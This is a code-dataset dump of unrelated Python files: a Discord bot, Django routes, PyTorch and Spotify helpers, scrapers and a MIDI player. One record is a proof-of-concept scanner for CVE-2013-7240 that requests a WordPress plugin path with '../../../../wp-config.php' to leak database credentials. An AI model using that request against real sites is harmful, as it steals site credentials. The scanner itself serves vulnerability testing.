{"seq_id": "8081837979", "text": "# import modules\nimport discord\nfrom discord.ext import commands\nimport random\n\n# import other files\nimport settings\n\n# logger\nlogger = settings.logging.getLogger(\"bot\")\n\n# if debug, conf should be this and if not, conf should be that\nif not settings.Config.debug:\n    conf = settings.Config.Main\nelse:\n    conf = settings.Config.Debug\n\n\n# make cog\nclass Suggestions(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n\n    # look for messages\n    @commands.Cog.listener()\n    async def on_message(self, message: discord.Message):\n        ...\n        # checks if the message is in the target guild, in the taget channel, if the author is a bot, if the message has embeds, and if the author is not itself\n        if (\n            message.type == discord.MessageType.default\n            and message.channel.guild.id == conf.guildid\n            and message.channel.id == conf.suggestionchannelid\n            and message.author.bot\n            and message.embeds != None\n            and message.author != self.bot\n        ):\n            # creates a thread on the message :)\n            await message.create_thread(name=message.embeds[0].description[:100])\n    \n    @commands.Cog.listener()\n    async def on_reaction_add(self, reaction: discord.Reaction, user: [discord.Member, discord.User]):\n        if user.bot == False:\n            msg = reaction.message\n            if reaction.message.channel == self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid):\n                for r in msg.reactions:\n                    if r != reaction:\n                        async for u in r.users():\n                            if u == user:\n                                await r.remove(u)\n\n    @commands.group(breif=\"Suggestion commands\", description=\"Suggestion commands\")\n    async def suggest(self, ctx: commands.Context):\n        if ctx.subcommand_passed is None:\n            return ctx.reply(\n                content=\"{ctx.subcommand_passed} is not part of the suggest group.\",\n                delete_after=60,\n                mention_author=False,\n            )\n\n    @suggest.command(\n        breif=\"Suggest a server feature.\", description=\"Suggest a server feature.\"\n    )\n    async def create(self, ctx: commands.Context, *feature: str):\n        if feature == ():\n            return await ctx.reply(content=\"Please put in a suggestion...\", mention_author=False)\n        description = \" \".join(feature)\n        suggestion_id = random.randrange(1001, 10001)\n        embed = discord.Embed(\n            description=description,\n            colour=discord.Colour.blurple(),\n        )\n        embed.set_author(icon_url=ctx.author.display_avatar, name=ctx.author.display_name)\n        channel = self.bot.get_guild(conf.guildid).get_channel(conf.suggestionchannelid)\n        async with ctx.typing():\n            msg = await channel.send(embed=embed)\n            await msg.add_reaction(\"<:agree:1167505718535008256>\")\n            await msg.add_reaction(\"<:neutral:1167505790723170414>\")\n            await msg.add_reaction(\"<:disagree:1167505754098507817>\")\n            return await ctx.reply(content=f\"I've sent your suggestion to {msg.channel.mention}.\", mention_author=False)\n\n    @suggest.command(\n        breif=\"(STAFF) Note that a server suggestion has been implemented.\", description=\"(STAFF) Note that a server suggestion has been implemented.\"\n    )\n    async def implemented(self, ctx: commands.Context):\n        if commands.has_permissions(manage_channels=True) or commands.has_permissions(administrator=True):\n            if ctx.channel.type == discord.ChannelType.public_thread:\n                message = await ctx.channel.parent.fetch_message(ctx.channel.id)\n                if message.channel.id != conf.suggestionchannelid or message.embeds == None:\n                    return await ctx.reply(content=\"Please make sure you are in the thread attached to a suggestion!\")\n                embed = message.embeds[0]\n                emb = discord.Embed(title=embed.title, description=embed.description, colour=discord.Colour.brand_green())\n                emb.set_author(icon_url=embed.author.icon_url, name=embed.author.name)\n                emb.set_footer(text=\"Suggestion marked as implemented, voting closed.\")\n                for reaction in message.reactions:\n                    emb.add_field(name=reaction.emoji, value=(reaction.count - 1), inline=True)\n                await message.edit(embed=emb)\n                await message.clear_reactions()\n                await ctx.reply(content=\"Marked as implemented!\", mention_author=False)\n                return await ctx.channel.edit(archived=True)\n            else:\n                return await ctx.reply(content=\"Please make sure you are in the thread attached to a suggestion!\")\n        else:\n            return await ctx.reply(content=\"You don't have the permissions to mark this suggestion as implemented.\")\n\n\n# add cog to bot\nasync def setup(bot: commands.Bot):\n    await bot.add_cog(Suggestions(bot))\n    logger.info(\"ext.events.suggestions okay\")\n", "repo_name": "valbuilds/bee-bee-see-bot", "sub_path": "ext/events/suggestions.py", "file_name": "suggestions.py", "file_ext": "py", "file_size_in_byte": 5034, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "settings.logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "settings.logging", "line_number": 10, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 13, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 14, "usage_type": "attribute"}, {"api_name": "settings.Config", "line_number": 16, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog", "line_number": 20, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 20, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 26, "usage_type": "attribute"}, {"api_name": "discord.MessageType", "line_number": 30, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 25, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 25, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 25, "usage_type": "name"}, {"api_name": "discord.Reaction", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.User", "line_number": 41, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Cog.listener", "line_number": 40, "usage_type": "call"}, {"api_name": "discord.ext.commands.Cog", "line_number": 40, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 40, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 52, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 52, "usage_type": "name"}, {"api_name": "discord.ext.commands.group", "line_number": 51, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 51, "usage_type": "name"}, {"api_name": "discord.ext.commands.Context", "line_number": 63, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 63, "usage_type": "name"}, {"api_name": "random.randrange", "line_number": 67, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 68, "usage_type": "call"}, {"api_name": "discord.Colour.blurple", "line_number": 70, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 70, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 84, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 84, "usage_type": "name"}, {"api_name": "discord.ext.commands.has_permissions", "line_number": 85, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 85, "usage_type": "name"}, {"api_name": "discord.ChannelType", "line_number": 86, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 91, "usage_type": "call"}, {"api_name": "discord.Colour.brand_green", "line_number": 91, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 91, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 107, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 107, "usage_type": "name"}]}
{"seq_id": "6154872622", "text": "from django.urls import path\nfrom .views import (\n    pega_dia_atual_view, agendar_task_view, chain_task_view,\n    retry_task_division_view, task_loop_list_view, task_state_view, task_loop_view,\n    home_tasks\n    )\n\nurlpatterns = [\n    path('home/', home_tasks, name=\"home\"),\n    path('dia_atual_task/', pega_dia_atual_view, name=\"dia_atual_task\"),\n    path('agendar_task/', agendar_task_view, name=\"agendar_task\"),\n    path('chain_task/', chain_task_view, name=\"chain_task\"),\n    path('retry_task/', retry_task_division_view, name=\"retry_task\"),\n    path('task_loop_list/', task_loop_list_view, name='task_loop_list'),\n    path('task_loop/', task_loop_view, name=\"task_loop\"),\n    path('task_state/<str:task_id>/', task_state_view, name='task_state'),\n]\n", "repo_name": "AyrtonMoises/django_celery_rabbitmq", "sub_path": "fila/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.home_tasks", "line_number": 9, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "views.pega_dia_atual_view", "line_number": 10, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.agendar_task_view", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.chain_task_view", "line_number": 12, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.retry_task_division_view", "line_number": 13, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.task_loop_list_view", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "views.task_loop_view", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "views.task_state_view", "line_number": 16, "usage_type": "argument"}]}
{"seq_id": "13874180012", "text": "# Transforms\n\n# data is not always in final processed form that is required for training macchine learning algorithms\n# we use TRANSFORMMS to perform some manipulation of data and make it suitable for training\n\n# All TorcchVision datasets have two parameters:\n#   - transform: modify the features\n#   - target_transform: modify the labels\n\n# FashionMMNIST features are in PIL Image format, and the labels are integers\n# for training, we need the features as normmalized tensors and the labels as one-hot encoded tensors.\n# to makke these transformations, we use \"ToTensor\" and \"Lambda\"\n\nimport torch\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor, Lambda\n\nds = datasets.FashionMNIST(\n    root=\"data\",\n    train=True,\n    download=True,\n    # ToTensor()\n    # ToTensor converts a PIL image or NumPy ndarray into a FloatTensor and scales the image's pixel intensity values in the range[0., 1.]  \n    transform=ToTensor(),\n\n    # Lambda Transforms\n    # Lambda transforms apply any user-defined lambda function. <--?\n    # Here, we define a function to turn the integer into a one-hot encoded tensor.\n    # it first creates a tensor of size 10 (the number of labels in our dataset) and calls scatter_ which assigns a value=1 on the index as given by the label y.\n    target_transform=Lambda(lambda y: torch.zeros(10, dtype=torch.float).scatter_(0, torch.tensor(y), value=1))\n)\n\n# my question is: why do you need to use ToTensor() if you have from_numpy() function?? maybe??\n# maybe because that change of tensor is different fromm initializing the dataset\n\n\n", "repo_name": "jasonw0416/PyTorchDemo", "sub_path": "IntroToPyTorch/transforms.py", "file_name": "transforms.py", "file_ext": "py", "file_size_in_byte": 1585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torchvision.datasets.FashionMNIST", "line_number": 18, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 18, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms.Lambda", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "73196279612", "text": "import json\nfrom multiprocessing.sharedctypes import Value\n\nfrom spotipy.exceptions import SpotifyException\nimport convertlib\nimport spotipy\nimport io\nimport json\nimport os\nfrom datetime import date\n\n\nSPOTIFY_API_CLIENT_ID = os.environ[\"SPOTIFY_API_CLIENT_ID\"]\nSPOTIFY_API_CLIENT_SECRET = os.environ[\"SPOTIFY_API_CLIENT_SECRET\"]\n\n# use memory cache handler\n# we only need to store one token, and Lambda instances don't have filesystem access\ncache_handler = spotipy.cache_handler.MemoryCacheHandler()\n\n# initialize login credentials\nspotify_creds = spotipy.SpotifyClientCredentials(\n    client_id=SPOTIFY_API_CLIENT_ID, client_secret=SPOTIFY_API_CLIENT_SECRET, cache_handler=cache_handler)\nspotify = spotipy.Spotify(client_credentials_manager=spotify_creds)\n\n\ndef _make_response(response: dict) -> dict:\n    \"\"\"Takes a response object and adds CORS headers.\n    \"\"\"\n    # base response\n    base_response = {\n        \"headers\": {\n            # allow requests from all origins\n            \"Access-Control-Allow-Origin\": \"*\"\n        }\n    }\n\n    # merge dictionaries, with the argument taking precedence\n    return {**base_response, **response}\n\n\ndef convert_new_playlist(event, context):\n    body = json.loads(event.get(\"body\", \"{}\"))\n    playlist_url = body[\"playlist_url\"]\n\n    try:\n        # try and extract playlist id from URL\n        # note: spotipy actually can handle playlist URLs, but by\n        # doing this validation ourselves, we can at least provide\n        # some nicer error messages in case the user does something wrong.\n        playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)\n    except ValueError as e:\n        response = {\n            \"statusCode\": 400,\n            \"body\": json.dumps({\n                \"error\": str(e)\n            })\n        }\n\n        return _make_response(response)\n\n    try:\n        # buffer we will write output CSV into\n        buffer = io.StringIO()\n        # write_new_playlist_csv returns the warnings encountered\n        # writes the converted CSV into buffer\n        playlist_name, warnings = convertlib.write_new_playlist_csv(\n            spotify, playlist_id, buffer)\n\n    except (SpotifyException, RuntimeError) as e:\n        response = {\n            \"statusCode\": 400,\n            \"body\": json.dumps({\n                \"error\": str(e)\n            })\n        }\n\n        return _make_response(response)\n\n    # seek to beginning of buffer so we can begin reading\n    buffer.seek(0)\n\n    response = {\n        \"statusCode\": 200,\n        \"body\": json.dumps({\n            \"playlistName\": playlist_name,\n            \"warnings\": warnings,\n            \"body\": buffer.read()\n        })\n    }\n\n    return _make_response(response)\n\n\ndef convert_old_playlist(event, context):\n    body = json.loads(event.get(\"body\", \"{}\"))\n    playlist_url = body[\"playlist_url\"]\n    show_title = body[\"show_title\"]\n    try:\n        # validate the show date selected by the user\n        show_date = date.fromisoformat(body[\"show_date\"])\n    except ValueError as e:\n        # invalid ISO date\n        response = {\n            \"statusCode\": 400,\n            \"body\": json.dumps({\n                \"error\": f\"Invalid date: {body['show_date']}\"\n            })\n        }\n\n        return _make_response(response)\n\n    try:\n        # try and extract playlist id from URL\n        # note: spotipy actually can handle playlist URLs, but by\n        # doing this validation ourselves, we can at least provide\n        # some nicer error messages in case the user does something wrong.\n        playlist_id = convertlib.extract_playlist_id_from_url(playlist_url)\n    except ValueError as e:\n        response = {\n            \"statusCode\": 400,\n            \"body\": json.dumps({\n                \"error\": str(e)\n            })\n        }\n\n        return _make_response(response)\n\n    try:\n        # buffer we will write output CSV into\n        buffer = io.StringIO()\n        # write_new_playlist_csv returns the warnings encountered\n        # writes the converted CSV into buffer\n        playlist_name, warnings = convertlib.write_old_playlist_csv(\n            spotify, playlist_id, show_title, show_date, buffer)\n\n    except (SpotifyException, RuntimeError) as e:\n        response = {\n            \"statusCode\": 400,\n            \"body\": {\n                \"error\": str(e)\n            }\n        }\n\n        return _make_response(response)\n\n    # seek to beginning of buffer so we can begin reading\n    buffer.seek(0)\n\n    response = {\n        \"statusCode\": 200,\n        \"body\": json.dumps({\n            \"playlistName\": playlist_name,\n            \"warnings\": warnings,\n            \"body\": buffer.read()\n        })\n    }\n\n    return _make_response(response)\n", "repo_name": "joek13/wxtj-converter", "sub_path": "backend/wxtj-converter-api/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 4670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "spotipy.cache_handler.MemoryCacheHandler", "line_number": 18, "usage_type": "call"}, {"api_name": "spotipy.cache_handler", "line_number": 18, "usage_type": "attribute"}, {"api_name": "spotipy.SpotifyClientCredentials", "line_number": 21, "usage_type": "call"}, {"api_name": "spotipy.Spotify", "line_number": 23, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 42, "usage_type": "call"}, {"api_name": "convertlib.extract_playlist_id_from_url", "line_number": 50, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 63, "usage_type": "call"}, {"api_name": "convertlib.write_new_playlist_csv", "line_number": 66, "usage_type": "call"}, {"api_name": "spotipy.exceptions.SpotifyException", "line_number": 69, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 72, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 84, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.date.fromisoformat", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 100, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 105, "usage_type": "call"}, {"api_name": "convertlib.extract_playlist_id_from_url", "line_number": 117, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 130, "usage_type": "call"}, {"api_name": "convertlib.write_old_playlist_csv", "line_number": 133, "usage_type": "call"}, {"api_name": "spotipy.exceptions.SpotifyException", "line_number": 136, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 151, "usage_type": "call"}]}
{"seq_id": "23405839999", "text": "#!/user/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    :2021/1/25 17:32\n# @Author  :Alive\n# @Site    :\n# @File    :更听舞曲下载.py\n# @Software:PyCharm\nimport requests\nfrom lxml import etree\nimport os\n\nif __name__ == '__main__':\n    # 创建音乐文件夹\n    if not os.path.exists('./音乐'):\n        os.mkdir('./音乐')\n    # 指定url\n    url = 'http://www.333ttt.com/up/top16.html'\n    # UA 伪装\n    headers = {\n        'UserAgent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0'\n    }\n    page_text = requests.get(url=url, headers=headers).text\n    tree = etree.HTML(page_text)\n    li_list = tree.xpath('//div[@class=\"songlist\"]/ul/li')\n    for li in li_list:\n        title = li.xpath('.//span[@class=\"l_bt_da\"]/a//text()')[0] + '.mp3'\n        last_url = li.xpath('.//span[@class=\"l_xz\"]//text()')[0].split('\\\\')[5].split('\\'')[1]\n        music_data = requests.get(url=last_url, headers=headers).content\n        filePath = './音乐/' + title\n        with open(filePath, 'wb') as fp:\n            fp.write(music_data)\n            print(title + \"下载完成\")\n    fp.close()\n    print(\"下载完成\")\n", "repo_name": "Dbin98/myproject", "sub_path": "数据解析/更听舞曲下载.py", "file_name": "更听舞曲下载.py", "file_ext": "py", "file_size_in_byte": 1152, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 22, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 23, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 23, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "655557737", "text": "import requests\n\n\n# Vuln Base Info\ndef info():\n    return {\n        \"author\": \"cckuailong\",\n        \"name\": '''WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal''',\n        \"description\": '''A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.''',\n        \"severity\": \"high\",\n        \"references\": [\n            \"https://www.exploit-db.com/exploits/38936\", \n            \"https://nvd.nist.gov/vuln/detail/CVE-2013-7240\", \n            \"https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/\"\n        ],\n        \"classification\": {\n            \"cvss-metrics\": \"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\",\n            \"cvss-score\": \"7.5\",\n            \"cve-id\": \"CVE-2013-7240\",\n            \"cwe-id\": \"CWE-22\"\n        },\n        \"metadata\":{\n            \"vuln-target\": \"\",\n            \n        },\n        \"tags\": [\"cve\", \"cve2013\", \"wordpress\", \"wp-plugin\", \"lfi\"],\n    }\n\n\n# Vender Fingerprint\ndef fingerprint(url):\n    return True\n\n# Proof of Concept\ndef poc(url):\n    result = {}\n    try:\n        url = format_url(url)\n        path = '/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'\n\n        resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)\n        if resp.status_code == 200 and \"DB_NAME\" in resp.text and \"DB_PASSWORD\" in resp.text and \"DB_HOST\" in resp.text and \"The base configurations of the WordPress\" in resp.text: \n            result[\"success\"] = True\n            result[\"info\"] = info()\n            result[\"payload\"] = url+path\n\n    except:\n        result[\"success\"] = False\n    \n    return result\n\n\n# Exploit, can be same with poc()\ndef exp(url):\n    return poc(url)\n\n\n# Utils\ndef format_url(url):\n    url = url.strip()\n    if not ( url.startswith('http://') or url.startswith('https://') ):\n        url = 'http://' + url\n    url = url.rstrip('/')\n\n    return url", "repo_name": "cckuailong/reapoc", "sub_path": "2013/CVE-2013-7240/poc/pocsploit/CVE-2013-7240.py", "file_name": "CVE-2013-7240.py", "file_ext": "py", "file_size_in_byte": 2061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 641, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "13667292179", "text": "import cv2, math, sys, os\n\nif __name__ == '__main__':\n    ImFile = sys.argv[1]\n    Image = cv2.imread(ImFile, -1)\n    OutIm = Image\n    Size = (224, 224) # W, H\n    # Size = (1920, 1080) # W, H\n    # Size = (320, 240) # W, H\n    # Size = (1100, 500) # W, H\n    # Size = (600, 100) # W, H\n\n    if Size is not None:\n        # Check if the aspect ratios are the same\n        OrigSize = Image.shape[:-1]\n        OrigAspectRatio = OrigSize[1] / OrigSize[0] # W / H\n        ReqAspectRatio = Size[0] / Size[1] # W / H # CAUTION: Be aware of flipped indices\n        print(OrigAspectRatio)\n        print(ReqAspectRatio)\n        if math.fabs(OrigAspectRatio-ReqAspectRatio) > 0.01:\n            # Different aspect ratio detected. So we will be fitting the smallest of the two images into the larger one while centering it\n            # After centering, we will crop and finally resize it to the request dimensions\n            if ReqAspectRatio < OrigAspectRatio:\n                NewSize = [OrigSize[0], int(OrigSize[0] * ReqAspectRatio)] # Keep height\n                Center = int(OrigSize[1] / 2) - 1\n                HalfSize = int(NewSize[1] / 2)\n                Image = Image[:, Center-HalfSize:Center+HalfSize, :]\n            else:\n                NewSize = [int(OrigSize[1] / ReqAspectRatio), OrigSize[1]] # Keep width\n                Center = int(OrigSize[0] / 2) - 1\n                HalfSize = int(NewSize[0] / 2)\n                Image = Image[Center-HalfSize:Center+HalfSize, :, :]\n        OutIm = cv2.resize(Image, dsize=Size, interpolation=cv2.INTER_CUBIC)\n\n    print('Output image size:', OutIm.shape)\n    cv2.imwrite('out.png', OutIm)\n\n", "repo_name": "drsrinathsridhar/tk3dv", "sub_path": "tests/resizeImage.py", "file_name": "resizeImage.py", "file_ext": "py", "file_size_in_byte": 1637, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "math.fabs", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "30243782340", "text": "from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom . import views\nurlpatterns = [\n    path('',views.index,name='home' ),\n    path('register',views.register,name='register' ),\n    path('login',views.login_attemp,name='login' ),\n    path('mailsent',views.verify,name='mailsent' ),\n    path('sendMail',views.sendMail,name='sendMail' ),\n    path('logout',views.logout_attemp,name='logout' ),\n    path('about',views.about,name='about' ),\n    path('contact',views.contact,name='contact' ),\n    path('dopost',views.dopost,name='dopost' ),\n    path('userhome',views.userhome,name='userhome' ),\n    path('myblog/<int:id>',views.myblog,name='myblog' ),\n    path('deletepost/<int:id>',views.deletepost,name='deletepost' ),\n    path('update/<int:id>',views.update,name='update' ),\n    path('category/<int:id>',views.category,name='category'),\n    path('comment',views.comment,name='comment' ),\n    path('search',views.search,name='search' ),\n    path('detailpage/<int:id>',views.detailpage,name='detailpage' ),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "repo_name": "ShivPatel9211/MyBolg-Django-", "sub_path": "Blog/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.static.static", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 23, "usage_type": "attribute"}]}
{"seq_id": "17405953642", "text": "import random\nfrom time import sleep\n\nimport pygame\nimport pygame.midi\n\nfrom genomereader import genome_line_generator\n\nGRAND_PIANO = 0\n\n\ndef get_note(char):\n    if char == 'A':\n        return 81\n    elif char == 'C':\n        return 72\n    elif char == 'G':\n        return 79\n    elif char == 'T':\n        return random.choice((74, 76, 77, 83))\n    else:\n        return random.choice((74, 76, 77, 83))\n\n\ndef play_chord(midi, chord, on):\n    midi.set_instrument(2, 1)\n    if on:\n        for char in chord:\n            midi.note_on(get_note(char) - 24, 100)\n    else:\n        for char in chord:\n            midi.note_off(get_note(char) - 24, 100)\n\n\ndef get_duration(char):\n    if char == 'A':\n        return 0.25\n    elif char == 'C':\n        return 0.5\n    elif char == 'G':\n        return 0.25\n    else:\n        return random.choice((0.25, 0.5))    \n\n\ndef play_genome():\n    # start pygame.midi\n    pygame.midi.init()\n\n    # Get port to send midi instructions to.\n    port = pygame.midi.get_default_output_id()\n    midi_out = pygame.midi.Output(port)\n    try:\n        \n        for line in genome_line_generator:\n            if line[0] == 'N':\n                continue\n            \n            for n in range(0, 70, 7):\n                chord = line[n+3:n+6]\n                duration = get_duration(line[6])\n                \n                play_chord(midi_out, chord, True)\n                for char in line[n:n+3]: \n                    midi_out.set_instrument(GRAND_PIANO, 0)\n                    midi_out.note_on(get_note(char)- 12, 127)\n                    sleep(duration)\n                    midi_out.note_off(get_note(char) - 12, 127)\n                play_chord(midi_out, chord, False)\n\n    finally:\n        del midi_out\n        pygame.midi.quit()\n\nplay_genome()\n", "repo_name": "logston/talks", "sub_path": "2014-05-29_Biology+Python/playgenome2.py", "file_name": "playgenome2.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.choice", "line_number": 20, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 22, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.midi.init", "line_number": 48, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 48, "usage_type": "attribute"}, {"api_name": "pygame.midi.get_default_output_id", "line_number": 51, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.midi.Output", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 52, "usage_type": "attribute"}, {"api_name": "genomereader.genome_line_generator", "line_number": 55, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}, {"api_name": "pygame.midi.quit", "line_number": 73, "usage_type": "call"}, {"api_name": "pygame.midi", "line_number": 73, "usage_type": "attribute"}]}
